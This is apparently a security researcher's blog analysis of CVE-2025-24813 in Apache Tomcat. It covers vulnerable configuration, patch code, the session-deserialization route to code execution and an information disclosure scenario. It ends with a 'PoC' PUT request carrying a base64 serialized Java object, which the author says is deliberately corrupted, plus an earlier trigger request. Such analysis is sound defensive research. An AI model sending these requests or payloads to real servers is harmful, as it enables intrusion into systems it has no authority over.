Lingua Diabolis

Mar 11, 2025

Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE

On 10. March 2025. ASF announced CVE-2025-24813, an Apache Tomcat vulnerability that may result in information disclosure or corruption, and even remote code execution. This is a quick and dirty analysis explaining the parts of the picture that are not in the advisory or can't be deduced trivially from the source code. Please read the linked materials and use your favorite search engine on the side!

Configuration Requirements

I tested the vulnerability on Debian 12. At the time of writing the latest package version for Tomcat 10 is 10.1.34-0+deb12u1, where the discussed vulnerability is still unfixed.

The advisory states the following requirements for all exploitation vectors:

  • "writes enabled for the default servlet (disabled by default)"
  • "support for partial PUT (enabled by default)"

The first requirement is related to the readonly property of the Default Servlet. We have to set this property to false in the web.xml configuration of the server:

<servlet>                                                                     
    <servlet-name>default</servlet-name>                                      
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <!-- ... -->
    <init-param>                                                                
        <param-name>readonly</param-name>                                     
        <param-value>false</param-value>                                      
    </init-param>                                                             
    <!-- ... -->
</servlet>                                                                     

The second requirement is satisfied by default, the relevant code is the doPut() request handler method of DefaultServlet

For the RCE the following additional configuration is required:

  • "application was using Tomcat's file based session persistence with the default storage location"

This can be satisfied by adding the following directives to context.xml (I used the global /etc/tomcat10/context.xml file):

    <Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>

The FileStore class in the Manager tag instructs Tomcat to store sessions in individual files - this is a different solution than the sample configuration provided in context.xml that stores all session data in a single file with a well-defined filename.

Patch Analysis

The relevant part of the vulnerable code is this part of the executePartialPut() method:

File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
        // Convert all '/' characters to '.' in resourcePath
        String convertedResourcePath = path.replace('/', '.');
        File contentFile = new File(tempDir, convertedResourcePath);
        if (contentFile.createNewFile()) {
            // Clean up contentFile when Tomcat is terminated
            contentFile.deleteOnExit();
        }

We can trigger this code path with a request like this:

PUT /dummy HTTP/1.1
Host: tomcat:8080
Content-range: bytes 1-1/15

x

The Content-range header indicates a partial PUT, triggering the code path. The temporary file creation logic listed above creates a new file under the "work" directory of Tomcat (/var/lib/tomcat10/work/Catalina/<hostname>/<app>/ on Debian, I could never wrap my head around Tomcats terminology with CATALINA_BASE&co...). Coincidentally, this same directory is used by FileStore to save sessions, which are serialized Java objects.

Remote Code Execution

Unfortunately we can't overwrite these files directly, because the path passed to executePartialPut() always starts with a /, so our temporary filename will always start with a ..

I tried to circumvent the problem of the dot (slash) prefix without success:

  • Requests to absolute paths not beginning with / are rejected
  • Full URL's in the first request line are normalized to absolute paths (that start with a /)
  • Unencoded forward slashes are normalized, requests with backslashes are denied
  • Tomcat handles ; specially, but I could only use this to make the server ignore parts of the path (but not the first slash)
  • Tomcat denies requests containing URL-encoded forward or backward slashes. There is a setting to disable this behavior, but in that case the paths will just contain percent-encoded values
  • My UTF-8/Unicode fu wasn't enough either

The good news is that if we place a file with a .session extension in the work directory, it gets periodically parsed by Tomcat... This behavior of file based persistence is a really nice primitive!

Note that this exploitation path doesn't rely on "Path Equivalence": the filename is basically directly controlled, and the imposed restrictions (no slashes) let filenames relevant to FileStore slip right through. Path equivalence seems more relevant in the information disclosure/corruption scenario.

Information Disclosure

The following are the stated prerequisites for this part:

  1. writes enabled for the default servlet (disabled by default)
  2. support for partial PUT (enabled by default)
  3. a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads
  4. attacker knowledge of the names of security sensitive files being uploaded
  5. the security sensitive files also being uploaded via partial PUT

Aside the aforementioned "work" directory, another relevant location here is the "resource" directory, mostly used for storing static resources like HTML pages required for the application. On my Debian these application directories are located under /var/lib/tomcat10/webapps.

Here's how the prerequisites make sense:

  • 1. + 2. are required to reach vulnerable code.
  • 3. + 5. -> A legitimate PUT request to http://example.com/top/secret.txt creates <Resource dir>/top/secret.txt from <Work dir>/.top.secret.txt. The latter temporary file remains on the file-system until Tomcat exits.
  • Because of 4. attacker can (re)create <Work dir>/.top.secret.txt by accessing http://example.com:8080/top.secret.txt. The file contents will be based on the leftover temp file created during the upload of the "secret" text. This is obviously a problem assuming access to http://example.com:8080/top/ is somehow restricted but http://example.com:8080/top.secret.txt is not.

On my minimal Debian installation I could only recreate these circumstances by manually giving access to the "resource" directory for the tomcat user - I assume such privileges are quite common in real-world scenarios.

Poc||GTFO

PUT /examples/x1.session HTTP/1.1
Host: tomcat:8080
Content-range: bytes 0-273/275
Content-Length: 273

<@d_base64>r_O_0_A_B_X_N_y_A_B_F_q_Y_X_Z_h_L_n_V_0_a_W_w_u_S_G_F_z_a_E_1_h_c_A_U_H_2_s_H_D_F_m_D_R_A_w_A_C_R_g_A_K_b_G_9_h_Z_E_Z_h_Y_3_R_v_c_k_k_A_C_X_R_o_c_m_V_z_a_G_9_s_Z_H_h_w_P_0_A_A_A_A_A_A_A_A_x_3_C_A_A_A_A_B_A_A_A_A_A_B_c_3_I_A_D_G_p_h_d_m_E_u_b_m_V_0_L_l_V_S_T_J_Y_l_N_z_Y_a_/_O_R_y_A_w_A_H_S_Q_A_I_a_G_F_z_a_E_N_v_Z_G_V_J_A_A_R_w_b_3_J_0_T_A_A_J_Y_X_V_0_a_G_9_y_a_X_R_5_d_A_A_S_T_G_p_h_d_m_E_v_b_G_F_u_Z_y_9_T_d_H_J_p_b_m_c_7_T_A_A_E_Z_m_l_s_Z_X_E_A_f_g_A_D_T_A_A_E_a_G_9_z_d_H_E_A_f_g_A_D_T_A_A_I_c_H_J_v_d_G_9_j_b_2_x_x_A_H_4_A_A_0_w_A_A_3_J_l_Z_n_E_A_f_g_A_D_e_H_D_/_/_/_/_/_/_/_/_/_/_3_Q_A_C_3_B_v_c_m_5_o_d_W_I_u_Y_2_9_t_d_A_A_A_c_Q_B_+_A_A_V_0_A_A_R_o_d_H_R_w_c_H_h_0_A_B_J_o_d_H_R_w_O_i_8_v_c_G_9_y_b_m_h_1_Y_i_5_j_b_2_1_4_</@d_base64>

(I corrupted the payload slightly so my site won't be flagged by "security" vendors)

Exploitability

Before this analysis was done I was quick to predict that (based on the advisory) this one will end up in KEV. Now as I see things more clearly disabling readonly or using FileStore should be relatively rare, having both configured especially so, dropping my chances of being right significantly.

Nonetheless, Tomcat is everywhere and if the stars align this is a powerful exploit, so I'm still willing to bet a couple of beers on this!